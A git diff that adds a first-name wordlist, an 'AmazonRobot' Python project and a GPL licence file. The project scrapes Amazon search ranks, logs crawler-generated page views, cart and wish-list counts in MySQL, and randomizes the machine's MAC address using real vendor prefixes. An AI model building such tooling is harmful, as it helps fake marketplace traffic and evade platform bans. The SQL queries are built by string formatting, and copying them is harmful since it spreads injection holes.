+Jackie
+Joey
+Nick
+Luther
+Wendell
+Jeremiah
+Evan
+Julius
+Dana
+Donnie
+Otis
+Shannon
+Trevor
+Oliver
+Luke
+Homer
+Gerard
+Doug
+Kenny
+Hubert
+Angelo
+Shaun
+Lyle
+Matt
+Lynn
+Alfonso
+Orlando
+Rex
+Carlton
+Ernesto
+Cameron
+Neal
+Pablo
+Lorenzo
+Omar
+Wilbur
+Blake
+Grant
+Horace
+Roderick
+Kerry
+Abraham
+Willis
+Rickey
+Jean
+Ira
+Andres
+Cesar
+Johnathan
+Malcolm
+Rudolph
+Damon
+Kelvin
+Rudy
+Preston
+Alton
+Archie
+Marco
+Wm
+Pete
+Randolph
+Garry
+Geoffrey
+Jonathon
+Felipe
+Bennie
+Gerardo
+Ed
+Dominic
+Robin
+Loren
+Delbert
+Colin
+Guillermo
+Earnest
+Lucas
+Benny
+Noel
+Spencer
+Rodolfo
+Myron
+Edmund
+Garrett
+Salvatore
+Cedric
+Lowell
+Gregg
+Sherman
+Wilson
+Devin
+Sylvester
+Kim
+Roosevelt
+Israel
+Jermaine
+Forrest
+Wilbert
+Leland
+Simon
+Guadalupe
+Clark
+Irving
+Carroll
+Bryant
+Owen
+Rufus
+Woodrow
+Sammy
+Kristopher
+Mack
+Levi
+Marcos
+Gustavo
+Jake
+Lionel
+Marty
+Taylor
+Ellis
+Dallas
+Gilberto
+Clint
+Nicolas
+Laurence
+Ismael
+Orville
+Drew
+Jody
+Ervin
+Dewey
+Al
+Wilfred
+Josh
+Hugo
+Ignacio
+Caleb
+Tomas
+Sheldon
+Erick
+Frankie
+Stewart
+Doyle
+Darrel
+Rogelio
+Terence
+Santiago
+Alonzo
+Elias
+Bert
+Elbert
+Ramiro
+Conrad
+Pat
+Noah
+Grady
+Phil
+Cornelius
+Lamar
+Rolando
+Clay
+Percy
+Dexter
+Bradford
+Merle
+Darin
+Amos
+Terrell
+Moses
+Irvin
+Saul
+Roman
+Darnell
+Randal
+Tommie
+Timmy
+Darrin
+Winston
+Brendan
+Toby
+Van
+Abel
+Dominick
+Boyd
+Courtney
+Jan
+Emilio
+Elijah
+Cary
+Domingo
+Santos
+Aubrey
+Emmett
+Marlon
+Emanuel
+Jerald
+Edmond
+Emil
+Dewayne
+Will
+Otto
+Teddy
+Reynaldo
+Bret
+Morgan
+Jess
+Trent
+Humberto
+Emmanuel
+Stephan
+Louie
+Vicente
+Lamont
+Stacy
+Garland
+Miles
+Micah
+Efrain
+Billie
+Logan
+Heath
+Rodger
+Harley
+Demetrius
+Ethan
+Eldon
+Rocky
+Pierre
+Junior
+Freddy
+Eli
+Bryce
+Antoine
+Robbie
+Kendall
+Royce
+Sterling
+Mickey
+Chase
+Grover
+Elton
+Cleveland
+Dylan
+Chuck
+Damian
+Reuben
+Stan
+August
+Leonardo
+Jasper
+Russel
+Erwin
+Benito
+Hans
+Monte
+Blaine
+Ernie
+Curt
+Quentin
+Agustin
+Murray
+Jamal
+Devon
+Adolfo
+Harrison
+Tyson
+Burton
+Brady
+Elliott
+Wilfredo
+Bart
+Jarrod
+Vance
+Denis
+Damien
+Joaquin
+Harlan
+Desmond
+Elliot
+Darwin
+Ashley
+Gregorio
+Buddy
+Xavier
+Kermit
+Roscoe
+Esteban
+Anton
+Solomon
+Scotty
+Norbert
+Elvin
+Williams
+Nolan
+Carey
+Rod
+Quinton
+Hal
+Brain
+Rob
+Elwood
+Kendrick
+Darius
+Moises
+Son
+Marlin
+Fidel
+Thaddeus
+Cliff
+Marcel
+Ali
+Jackson
+Raphael
+Bryon
+Armand
+Alvaro
+Jeffry
+Dane
+Joesph
+Thurman
+Ned
+Sammie
+Rusty
+Michel
+Monty
+Rory
+Fabian
+Reggie
+Mason
+Graham
+Kris
+Isaiah
+Vaughn
+Gus
+Avery
+Loyd
+Diego
+Alexis
+Adolph
+Norris
+Millard
+Rocco
+Gonzalo
+Derick
+Rodrigo
+Gerry
+Stacey
+Carmen
+Wiley
+Rigoberto
+Alphonso
+Ty
+Shelby
+Rickie
+Noe
+Vern
+Bobbie
+Reed
+Jefferson
+Elvis
+Bernardo
+Mauricio
+Hiram
+Donovan
+Basil
+Riley
+Ollie
+Nickolas
+Maynard
+Scot
+Vince
+Quincy
+Eddy
+Sebastian
+Federico
+Ulysses
+Heriberto
+Donnell
+Cole
+Denny
+Davis
+Gavin
+Emery
+Ward
+Romeo
+Jayson
+Dion
+Dante
+Clement
+Coy
+Odell
+Maxwell
+Jarvis
+Bruno
+Issac
+Mary
+Dudley
+Brock
+Sanford
+Colby
+Carmelo
+Barney
+Nestor
+Hollis
+Stefan
+Donny
+Art
+Linwood
+Beau
+Weldon
+Galen
+Isidro
+Truman
+Delmar
+Johnathon
+Silas
+Frederic
+Dick
+Kirby
+Irwin
+Cruz
+Merlin
+Merrill
+Charley
+Marcelino
+Lane
+Harris
+Cleo
+Carlo
+Trenton
+Kurtis
+Hunter
+Aurelio
+Winfred
+Vito
+Collin
+Denver
+Carter
+Leonel
+Emory
+Pasquale
+Mohammad
+Mariano
+Danial
+Blair
+Landon
+Dirk
+Branden
+Adan
+Numbers
+Clair
+Buford
+German
+Bernie
+Wilmer
+Joan
+Emerson
+Zachery
+Fletcher
+Jacques
+Errol
+Dalton
+Monroe
+Josue
+Dominique
+Edwardo
+Booker
+Wilford
+Sonny
+Shelton
+Carson
+Theron
+Raymundo
+Daren
+Tristan
+Houston
+Robby
+Lincoln
+Jame
+Genaro
+Gale
+Bennett
+Octavio
+Cornell
+Laverne
+Hung
+Arron
+Antony
+Herschel
+Alva
+Giovanni
+Garth
+Cyrus
+Cyril
+Ronny
+Stevie
+Lon
+Freeman
+Erin
+Duncan
+Kennith
+Carmine
+Augustine
+Young
+Erich
+Chadwick
+Wilburn
+Russ
+Reid
+Myles
+Anderson
+Morton
+Jonas
+Forest
+Mitchel
+Mervin
+Zane
+Rich
+Jamel
+Lazaro
+Alphonse
+Randell
+Major
+Johnie
+Jarrett
+Brooks
+Ariel
+Abdul
+Dusty
+Luciano
+Lindsey
+Tracey
+Seymour
+Scottie
+Eugenio
+Mohammed
+Sandy
+Valentin
+Chance
+Arnulfo
+Lucien
+Ferdinand
+Thad
+Ezra
+Sydney
+Aldo
+Rubin
+Royal
+Mitch
+Earle
+Abe
+Wyatt
+Marquis
+Lanny
+Kareem
+Jamar
+Boris
+Isiah
+Emile
+Elmo
+Aron
+Leopoldo
+Everette
+Josef
+Gail
+Eloy
+Dorian
+Rodrick
+Reinaldo
+Lucio
+Jerrod
+Weston
+Hershel
+Barton
+Parker
+Lemuel
+Lavern
+Burt
+Jules
+Gil
+Eliseo
+Ahmad
+Nigel
+Efren
+Antwan
+Alden
+Margarito
+Coleman
+Refugio
+Dino
+Osvaldo
+Les
+Deandre
+Normand
+Kieth
+Ivory
+Andrea
+Trey
+Norberto
+Napoleon
+Jerold
+Fritz
+Rosendo
+Milford
+Sang
+Deon
+Christoper
+Alfonzo
+Lyman
+Josiah
+Brant
+Wilton
+Rico
+Jamaal
+Dewitt
+Carol
+Brenton
+Yong
+Olin
+Foster
+Faustino
+Claudio
+Judson
+Gino
+Edgardo
+Berry
+Alec
+Tanner
+Jarred
+Donn
+Trinidad
+Tad
+Shirley
+Prince
+Porfirio
+Odis
+Maria
+Lenard
+Chauncey
+Chang
+Tod
+Mel
+Marcelo
+Kory
+Augustus
+Keven
+Hilario
+Bud
+Sal
+Rosario
+Orval
+Mauro
+Dannie
+Zachariah
+Olen
+Anibal
+Milo
+Jed
+Frances
+Thanh
+Dillon
+Amado
+Newton
+Connie
+Lenny
+Tory
+Richie
+Lupe
+Horacio
+Brice
+Mohamed
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+Gilberte
+Gema
+Faviola
+Evelynn
+Enda
+Elli
+Ellena
+Divina
+Dagny
+Collene
+Codi
+Cindie
+Chassidy
+Chasidy
+Catrice
+Catherina
+Cassey
+Caroll
+Carlena
+Candra
+Calista
+Bryanna
+Britteny
+Beula
+Bari
+Audrie
+Audria
+Ardelia
+Annelle
+Angila
+Alona
+Allyn
diff --git a/AmazonRobot/record_product_information/GetProductRank.py b/AmazonRobot/record_product_information/GetProductRank.py
new file mode 100644
index 00000000..02985e56
--- /dev/null
+++ b/AmazonRobot/record_product_information/GetProductRank.py
@@ -0,0 +1,64 @@
+# -*- coding: utf-8 -*-
+# @Author: LC
+# @Date:   2016-08-25 22:19:42
+# @Last modified by:   LC
+# @Last Modified time: 2016-09-02 22:09:13
+# @Email: liangchaowu5@gmail.com
+
+from selenium import webdriver
+from bs4 import BeautifulSoup
+
+
+# PhantomJS 无法完全解释，某些项无法获取
+#driver = webdriver.PhantomJS(executable_path = r'H:/PythonModule/phantomjs/phantomjs-2.1.1-windows/bin/phantomjs.exe')
+#item_keywords = 'Bestfy(TM) 2Pack 10FT Nylon Braided Lightning Cable'
+
+def get_product_page(search_keywords, item_keywords):
+    """find the page of an item described by item_keywords when searching with search_keywords
+    
+    Args:
+        search_keywords (str): keywords to search items, joined by '+'
+        item_keywords (str): words to describe an item, part of title of the item
+    
+    Returns:
+        
+    """
+    driver = webdriver.Firefox()
+    found = False
+    page = -1
+    try:
+        for i in xrange(1,21):
+            target_url = 'https://www.amazon.com/s/ref=sr_pg_%s?page=%s&keywords=%s&ie=UTF8'%(i, i, search_keywords)
+            driver.get(target_url)
+            text = driver.page_source
+            soup = BeautifulSoup(text, 'lxml')
+            titles = soup.find_all('h2')
+            for title in titles:
+                if item_keywords in title.get('data-attribute', ''):
+                    print 'Page %s: Found'%i
+                    found = True
+                    print title.get('data-attribute')
+                    print target_url
+                    break
+            if found:
+                page = i
+                break
+            print 'Page %s: Not Found'%i
+        return page
+    except Exception, e:
+        print e.message
+    finally:
+        driver.quit()
+
+if __name__ == '__main__':
+    search_keywords = 'lightning+cable'
+    item_keywords = 'Bestfy(TM) 2Pack 10FT Nylon Braided Lightning Cable 8Pin to USB Charging Cable'
+
+    search_keywords = 'shower+curtain+rings'
+    item_keywords = 'Clean Healthy Living Roller Shower Curtain Rings - Polished Stainless Steel'
+
+    search_keywords = 'shower+curtain+rings'
+    item_keywords = 'Carnation Home Fashions Rococo Ceramic Resin Shower Curtain Hook, Brown-set of 12'
+    get_product_page(search_keywords, item_keywords)
+
+
diff --git a/AmazonRobot/record_product_information/VisitRecord.py b/AmazonRobot/record_product_information/VisitRecord.py
new file mode 100644
index 00000000..5d39f6c0
--- /dev/null
+++ b/AmazonRobot/record_product_information/VisitRecord.py
@@ -0,0 +1,99 @@
+# -*- coding: utf-8 -*-
+# @Author: LC
+# @Date:   2016-08-26 09:38:24
+# @Last modified by:   LC
+# @Last Modified time: 2017-03-23 21:23:49
+# @Email: liangchaowu5@gmail.com
+
+##################################################################
+# record the detail information of product in mysql
+# including: pv created by the crawler, ranking of the product. etc
+# infomation of the table can be seen in create_table.sql
+##################################################################
+
+import sys
+import MySQLdb
+from GetProductRank import get_product_page
+
+#infomation about mysql server
+HOST = 'XXXX'
+PORT = 3306
+USER = 'amazon'
+PASSWD = 'xxxxxx'
+DB = 'amazon'
+CHARSET = 'utf8'
+
+
+def get_connection():
+    try:
+        conn = MySQLdb.connect(host=HOST,port=PORT,user=USER,passwd=PASSWD,db=DB,charset=CHARSET)
+        return conn
+    except Exception,e:
+        print 'error while connecting to mysql'
+        sys.exit()
+    
+
+
+def update_record(asin, keywords, field, number=1, item_keywords=None):
+    """update record with Pessimistic Concurrency Control
+    
+    Args:
+        asin (TYPE): 
+        keywords (TYPE): 
+        field (TYPE): 
+        number (int, optional): 
+    
+    Returns:
+        TYPE
+    """
+    try:
+        conn = get_connection()
+        conn.autocommit(False)
+        cursor = conn.cursor()
+        SQL = 'select %s from visit_record where asin="%s" and keywords="%s" and date=curdate() for update'%(field, asin, keywords)
+        cursor.execute(SQL)
+        result = cursor.fetchall()
+        if not result:
+            SQL = 'insert into visit_record(asin,date,keywords) values("%s", curdate(), "%s");' %(asin, keywords)
+            cursor.execute(SQL)
+            print 'insert new record for (%s,%s)'%(asin,keywords)
+
+        if field == 'rank_page':
+            if item_keywords:
+                field_value = get_product_page(keywords, item_keywords)
+            else:
+                print 'Error, item deicription can not be empty'
+                sys.exit(0)
+        elif field=='pv' or field=='cart' or field=='wish_list':
+            if result:
+                field_value = int(result[0][0])
+                field_value += number
+            else:
+                field_value = 0
+
+        else:
+            print 'ERROR: no such field %s in database'%field
+            sys.exit(0)
+        # update record
+        SQL = 'update visit_record set %s=%s where asin="%s" and keywords="%s" and date = curdate();'%(field, field_value, asin, keywords)
+        cursor.execute(SQL)
+        conn.commit()
+    finally:
+        cursor.close()
+        conn.close()
+
+
+
+if __name__ == '__main__':
+    """
+    asin = 'B0131A19HP'
+    keywords = 'shower+curtain+rings'
+    item_keywords = 'Clean Healthy Living Roller Shower Curtain Rings - Polished Stainless Steel'
+    update_record(asin, keywords, 'pv',item_keywords = item_keywords)
+    """
+    with open('products') as f:
+        for line in f:
+            asin, keywords, item_keywords = line.strip().split('#')
+            update_record(asin, keywords, 'rank_page',item_keywords = item_keywords)
+    
+
diff --git a/AmazonRobot/record_product_information/__init__.py b/AmazonRobot/record_product_information/__init__.py
new file mode 100644
index 00000000..8690638a
--- /dev/null
+++ b/AmazonRobot/record_product_information/__init__.py
@@ -0,0 +1,6 @@
+# -*- coding: utf-8 -*-
+# @Author: LC
+# @Date:   2017-03-23 17:15:10
+# @Last modified by:   LC
+# @Last Modified time: 2017-03-23 17:15:13
+# @Email: liangchaowu5@gmail.com
diff --git a/AmazonRobot/record_product_information/create_table.sql b/AmazonRobot/record_product_information/create_table.sql
new file mode 100644
index 00000000..38cd553f
--- /dev/null
+++ b/AmazonRobot/record_product_information/create_table.sql
@@ -0,0 +1,23 @@
+/*
+* @Author: LC
+* @Date:   2016-08-23 15:16:43
+* @Last Modified by:   LC
+* @Last Modified time: 2016-08-26 23:20:47
+*/
+
+create database amazon;
+use amazon;
+
+create table visit_record
+(
+    id INT NOT NULL AUTO_INCREMENT PRIMARY KEY,
+    asin CHAR(10) NOT NULL,
+    date DATE NOT NULL,
+    pv INT DEFAULT 0,
+    cart INT DEFAULT 0,
+    wish_list INT DEFAULT 0,
+    keywords VARCHAR(150) NOT NULL,
+    rank_page TINYINT
+)ENGINE=InnoDB CHARSET=UTF8;
+
+create index asin_date_keywords_inx on visit_record(asin, date, keywords)
\ No newline at end of file
diff --git a/AmazonRobot/scripts/Alarm.py b/AmazonRobot/scripts/Alarm.py
new file mode 100644
index 00000000..ba8a0aaf
--- /dev/null
+++ b/AmazonRobot/scripts/Alarm.py
@@ -0,0 +1,79 @@
+# -*- coding: utf-8 -*-
+# @Author: LC
+# @Date:   2016-08-30 22:18:49
+# @Last modified by:   LC
+# @Last Modified time: 2017-03-23 20:32:48
+# @Email: liangchaowu5@gmail.com
+
+##############################################################
+# monitoring the hosts excuting the task, run it in crontab
+# you can also add other function like ping 
+##############################################################
+import subprocess
+import smtplib
+import string
+import time
+    
+def ping(ip):
+    """check if host is alive
+    
+    Args:
+        ip (str): ip of the host 
+    
+    Returns:
+        1 or 0: represent whether the host is up or not
+    """
+    command = 'ping -c 4 %s'%ip
+    try:
+        subprocess.check_call(command.split())
+        print '======================host %s is up' %ip
+        return 1
+    except subprocess.CalledProcessError:
+        print '======================host %s is down' %ip
+        return 0
+
+
+
+def send_email(subject, content):
+    """send email when host is down, need to change your own email
+    
+    Args:
+        subject (str): subject of the email
+        content (str): content of the email
+    
+    Returns:
+        None 
+    """
+    HOST="smtp.sina.com"
+    PASSWORD="XXXXXXX"
+    FROM="XXXX@sina.com"
+    TO="XXXX@139.com"
+    SUBJECT=subject
+    
+    body=string.join((
+            "FROM: %s" %FROM,
+            "TO: %s" %TO,
+            "SUBJECT: %s" %SUBJECT,
+            "",
+            content),"\r\n")
+    server=smtplib.SMTP()
+    server.connect(HOST,'25')
+    server.starttls()
+    server.login(FROM,PASSWORD)
+    server.sendmail(FROM,TO,body)
+    server.quit()
+
+
+if __name__ == '__main__':
+    # hosts is a list of your machine, one for a line, represent as ip   
+    with open('hosts') as f:
+        lines = f.readlines()
+        for line in lines:
+            ip = line.strip()
+            if ip:
+                if ping(ip)==0:
+                    time.sleep(10)
+                    if ping(ip)==0:
+                        send_email(subject = 'Ping Failure', content= 'Fail to ping %s'%ip)
+                        print '=========send email successfully'
+    
\ No newline at end of file
diff --git a/AmazonRobot/scripts/ChangeMacAddress.py b/AmazonRobot/scripts/ChangeMacAddress.py
new file mode 100644
index 00000000..6fe9e426
--- /dev/null
+++ b/AmazonRobot/scripts/ChangeMacAddress.py
@@ -0,0 +1,304 @@
+# -*- coding: utf-8 -*-
+# @Author: LC
+# @Date:   2016-07-23 22:49:04
+# @Last modified by:   LC
+# @Last Modified time: 2017-03-23 20:31:53
+# @Email: liangchaowu5@gmail.com
+
+
+# #########################################################################
+# Function: Change mac address temporally through built-in command ifconfig
+# currently only work for ubuntu and centos
+# #########################################################################
+
+import random
+import re
+import subprocess
+import os
+import sys
+
+# mac address of some manufacturer
+manufacturer_mac_address = [
+    [0xE0, 0x43, 0xDB],
+    [0x24, 0x05, 0xF5],
+    [0x2C, 0x30, 0x33],
+    [0x3C, 0xD9, 0x2B],
+    [0x9C, 0x8E, 0x99],
+    [0xB4, 0x99, 0xBA],
+    [0x1C, 0xC1, 0xDE],
+    [0x3C, 0x35, 0x56],
+    [0x00, 0x50, 0xBA],
+    [0x00, 0x17, 0x9A],
+    [0x1C, 0xBD, 0xB9],
+    [0x90, 0x94, 0xE4],
+    [0x28, 0x10, 0x7B],
+    [0x1C, 0x7E, 0xE5],
+    [0xC4, 0xA8, 0x1D],
+    [0x18, 0x62, 0x2C],
+    [0x7C, 0x03, 0xD8],
+    [0xE8, 0xF1, 0xB0],
+    [0x00, 0xF8, 0x71],
+    [0x20, 0xBB, 0x76],
+    [0x2C, 0x22, 0x8B],
+    [0x34, 0x8A, 0xAE],
+    [0xBC, 0xEC, 0x23],
+    [0x8C, 0xE7, 0x48],
+    [0xAC, 0x06, 0xC7],
+    [0xCC, 0x46, 0xD6],
+    [0x48, 0xAD, 0x08],
+    [0x2C, 0xAB, 0x00],
+    [0x00, 0xE0, 0xFC],
+    [0x24, 0xDF, 0x6A],
+    [0x00, 0x9A, 0xCD],
+    [0x00, 0xCD, 0xFE],
+    [0x38, 0xF2, 0x3E],
+    [0x58, 0xAC, 0x78],
+    [0x90, 0x7F, 0x61],
+    [0x28, 0xBC, 0x18],
+    [0x80, 0x7A, 0xBF],
+    [0x40, 0x9F, 0x87],
+    [0x3C, 0x5A, 0xB4],
+    [0x00, 0x1A, 0x11],
+    [0xD8, 0x3C, 0x69],
+    [0x74, 0xAC, 0x5F],
+    [0x18, 0xAF, 0x61],
+    [0xBC, 0x83, 0xA7],
+    [0x00, 0x03, 0x47],
+    [0x00, 0x11, 0x75],
+    [0x00, 0x13, 0xE8],
+    [0x00, 0x13, 0x02],
+    [0xE4, 0xF8, 0x9C],
+    [0xA4, 0x02, 0xB9],
+    [0x4C, 0x34, 0x88],
+    [0x00, 0x0D, 0x0B],
+    [0x00, 0x07, 0x40],
+    [0x00, 0x24, 0xA5],
+    [0xDC, 0xFB, 0x02],
+    [0xF4, 0xCE, 0x46],
+    [0x00, 0x1C, 0xC4],
+    [0x00, 0x25, 0xB3],
+    [0x00, 0x18, 0x71],
+    [0x00, 0x0B, 0xCD],
+    [0x00, 0x0E, 0x7F],
+    [0x00, 0x0F, 0x20],
+    [0x00, 0x11, 0x0A],
+    [0x00, 0x13, 0x21],
+    [0x00, 0x16, 0x35],
+    [0x00, 0x17, 0xA4],
+    [0x00, 0x08, 0x02],
+    [0x90, 0xE7, 0xC4],
+    [0x74, 0xA7, 0x8E],
+    [0xD8, 0x60, 0xB0],
+    [0x80, 0x38, 0xBC],
+    [0xD4, 0x40, 0xF0],
+    [0x64, 0xA6, 0x51],
+    [0xE8, 0xCD, 0x2D],
+    [0xAC, 0xE2, 0x15],
+    [0xEC, 0x23, 0x3D],
+    [0x78, 0xF5, 0xFD],
+    [0x80, 0xB6, 0x86],
+    [0x10, 0xC6, 0x1F],
+    [0x88, 0x53, 0xD4],
+    [0x0C, 0x37, 0xDC],
+    [0xBC, 0x76, 0x70],
+    [0x24, 0xDB, 0xAC],
+    [0xBC, 0x3A, 0xEA],
+    [0xE8, 0xBB, 0xA8],
+    [0x00, 0x21, 0xE8],
+    [0x00, 0x60, 0x57],
+    [0x00, 0x07, 0xD8],
+    [0x00, 0x12, 0xF2],
+    [0x00, 0x1B, 0xED],
+    [0x00, 0x24, 0x38],
+    [0x84, 0x74, 0x2A],
+    [0x68, 0x1A, 0xB2],
+    [0xE0, 0x05, 0xC5],
+    [0xA0, 0xF3, 0xC1],
+    [0x8C, 0x21, 0x0A],
+    [0xEC, 0x17, 0x2F],
+    [0xEC, 0x88, 0x8F],
+    [0x14, 0xCF, 0x92],
+    [0x64, 0x56, 0x01],
+    [0x14, 0xCC, 0x20],
+    [0xBC, 0x46, 0x99],
+    [0x0C, 0x45, 0xBA],
+    [0x84, 0x77, 0x78],
+    [0x04, 0x53, 0xD5],
+    [0xCC, 0x44, 0x63],
+    [0x6C, 0x72, 0xE7],
+    [0xCC, 0xA2, 0x23],
+    [0xE8, 0x08, 0x8B],
+    [0x60, 0xE7, 0x01],
+    [0x00, 0x08, 0x83],
+    [0xC4, 0x34, 0x6B],
+    [0x8C, 0xDC, 0xD4],
+    [0x34, 0x64, 0xA9],
+    [0xD4, 0xC9, 0xEF],
+    [0xA4, 0x5D, 0x36],
+    [0xA0, 0xD3, 0xC1],
+    [0x40, 0xA8, 0xF0],
+    [0x6C, 0x3B, 0xE5],
+    [0x08, 0x2E, 0x5F],
+    [0x28, 0x92, 0x4A],
+    [0x10, 0x60, 0x4B],
+    [0x30, 0x8D, 0x99],
+    [0x00, 0x30, 0xC1],
+    [0xFC, 0x3F, 0xDB],
+    [0x4C, 0xA1, 0x61],
+    [0x7C, 0x61, 0x93],
+    [0x00, 0x12, 0x17],
+    [0x00, 0x0C, 0x41],
+    [0x00, 0x0F, 0x66],
+    [0x44, 0xE0, 0x8E],
+    [0x18, 0x59, 0x33],
+    [0xE4, 0x48, 0xC7],
+    [0x24, 0x76, 0x7D],
+    [0x2C, 0xAB, 0xA4],
+    [0x00, 0x02, 0xC7],
+    [0x04, 0x76, 0x6E],
+    [0x00, 0x6B, 0x8E],
+    [0xAC, 0x85, 0x3D],
+    [0x74, 0x88, 0x2A],
+    [0x78, 0xD7, 0x52],
+    [0xE0, 0x24, 0x7F],
+    [0x00, 0x46, 0x4B],
+    [0x70, 0x7B, 0xE8],
+    [0x54, 0x89, 0x98],
+    [0x08, 0x19, 0xA6],
+    [0x3C, 0xF8, 0x08],
+    [0xB4, 0x15, 0x13],
+    [0x28, 0x31, 0x52],
+    [0xDC, 0xD2, 0xFC],
+    [0xF8, 0xA4, 0x5F],
+    [0x8C, 0xBE, 0xBE],
+    [0x64, 0x09, 0x80],
+    [0x98, 0xFA, 0xE3],
+    [0x18, 0x59, 0x36],
+    [0x9C, 0x99, 0xA0],
+    [0x00, 0x03, 0xDD],
+    [0x00, 0x10, 0x7B],
+    [0x00, 0x90, 0x6D],
+    [0x00, 0x90, 0xBF],
+    [0x00, 0x50, 0x80],
+    [0x00, 0xE0, 0x18],
+    [0x00, 0x0C, 0x6E],
+    [0x00, 0x1B, 0xFC],
+    [0x00, 0x1E, 0x8C],
+    [0x00, 0x15, 0xF2],
+    [0x00, 0x23, 0x54],
+    [0x00, 0x1F, 0xC6],
+    [0x60, 0x18, 0x2E],
+    [0xF4, 0xCF, 0xE2],
+    [0x50, 0x1C, 0xBF],
+    [0x28, 0x5F, 0xDB],
+    [0x40, 0x4D, 0x8E],
+    [0x78, 0x1D, 0xBA],
+    [0x00, 0x1E, 0x10],
+    [0xB0, 0xAD, 0xAA],
+    [0x10, 0xCD, 0xAE],
+    [0x50, 0xCD, 0x22],
+    [0xFC, 0xA8, 0x41],
+    [0x3C, 0xB1, 0x5B],
+    [0xC8, 0xF4, 0x06],
+    [0x2C, 0xF4, 0xC5],
+    [0x70, 0x38, 0xEE],
+    [0x88, 0xF0, 0x31],
+    [0x50, 0x87, 0x89],
+    [0x38, 0x1C, 0x1A],
+    [0xF4, 0x0F, 0x1B],
+    [0xBC, 0x67, 0x1C],
+    [0xA0, 0xEC, 0xF9],
+    [0xD4, 0x6D, 0x50],
+    [0x1C, 0xE8, 0x5D],
+    [0xC4, 0x72, 0x95],
+    [0xA0, 0x55, 0x4F],
+    [0x84, 0xB8, 0x02],
+    [0xBC, 0xC4, 0x93],
+    [0x00, 0x19, 0x47],
+    [0x00, 0x22, 0xCE],
+    [0xF0, 0x29, 0x29],
+    [0xEC, 0xE1, 0xA9],
+    [0x7C, 0x69, 0xF6]
+]
+
+
+def generate_mac_address():
+    """ randomly generate a mac address, the first three bytes identify a manufacturer"""
+    prefix = manufacturer_mac_address[random.randint(0, len(manufacturer_mac_address)-1)]
+    mac = prefix+\
+    [random.randint(0x00, 0xff),
+     random.randint(0x00, 0xff),
+     random.randint(0x00, 0xff) ]
+    return ':'.join(map(lambda x: "%02x" % x, mac))
+    
+
+def change_mac_address(mac):
+    """change mac address permanently by modifying the configuring file of the network interface and restart it
+       available for Ubuntu and Centos now, the last line of the configuring file should be mac address
+    
+    Args:
+        mac (str): XX:XX:XX:XX:XX:XX
+    """
+    text, command, interface_file = '', '', ''
+    # ubuntu 
+    ubuntu_interface_file = '/etc/network/interfaces'
+    if os.path.isfile(ubuntu_interface_file):
+        text = 'hwaddress ether %s\n'%mac
+        command = '/etc/init.d/networking restart'
+        interface_file = ubuntu_interface_file
+    else :
+        # centos 
+        popen = subprocess.Popen(['ifconfig'], stdout = subprocess.PIPE, stderr = subprocess.PIPE)
+        out, err = popen.communicate()
+        text = out.split('\n')[0]
+        if err: print err
+        interface = re.match(r'(\w+)', text).group(0)
+        centos_interface_file = '/etc/sysconfig/network-scripts/ifcfg-%s'%interface
+        if os.path.isfile(centos_interface_file):
+            text = 'MACADDR=%s\n'%mac
+            command = '/etc/init.d/network restart'
+            interface_file = centos_interface_file
+        else:
+            print 'network interface not found'
+            sys.exit(0)
+    # change mac address
+    try:
+        with open(interface_file) as f:
+            lines = f.readlines()
+        with open(interface_file, 'w') as wf:
+            for line in lines:
+                if line.lower().startswith(('hwaddr', 'macaddr')):
+                    continue
+                wf.write(line)
+            wf.write(text)
+        os.system(command)
+        print 'successfully change mac address to %s'%mac
+    except Exception, e:
+        print 'Error while changing mac address \n %s'%(e.message)
+        sys.exit(0)
+
+
+def change_mac_address_with_ifconfig(mac):
+    """modify mac address for linux with ifconfig command(not work)
+
+    Args:
+        mac(str): XX:XX:XX:XX:XX:XX
+    """
+    try:
+        command = 'ifconfig'
+        popen = subprocess.Popen(command.split(), stdout = subprocess.PIPE, stderr = subprocess.PIPE)
+        out, err = popen.communicate()
+        text = out.split('\n')[0]
+        if err: print err
+        interface = re.match(r'(\w+)', text).group(0)
+        command = 'ifconfig %s hw ether %s'%(interface, mac)
+        os.system(command)
+        print 'change mac address to %s successfully'%mac
+    except Exception, e:
+        print 'Error while changing mac address \n %s'%(e.message)
+        sys.exit(0)
+
+
+
+if __name__ == '__main__':
+    change_mac_address(generate_mac_address())
\ No newline at end of file
diff --git a/DorkNet/LICENSE b/DorkNet/LICENSE
new file mode 100644
index 00000000..9cecc1d4
--- /dev/null
+++ b/DorkNet/LICENSE
@@ -0,0 +1,674 @@
+                    GNU GENERAL PUBLIC LICENSE
+                       Version 3, 29 June 2007
+
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+option of following the terms and conditions either of that numbered
+version or of any later version published by the Free Software
+Foundation.  If the Program does not specify a version number of the
+GNU General Public License, you may choose any version ever published
+by the Free Software Foundation.
+
+  If the Program specifies that a proxy can decide which future
+versions of the GNU General Public License can be used, that proxy's
+public statement of acceptance of a version permanently authorizes you
+to choose that version for the Program.
+
+  Later license versions may give you additional or different
+permissions.  However, no additional obligations are imposed on any
+author or copyright holder as a result of your choosing to follow a
+later version.
+
+  15. Disclaimer of Warranty.
+
+  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
+APPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
+HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
+OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
+THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
+IS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
+ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+  16. Limitation of Liability.
+
+  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
+THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
+GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
+USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
+DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
+PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
+EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
+SUCH DAMAGES.
+
+  17. Interpretation of Sections 15 and 16.
+
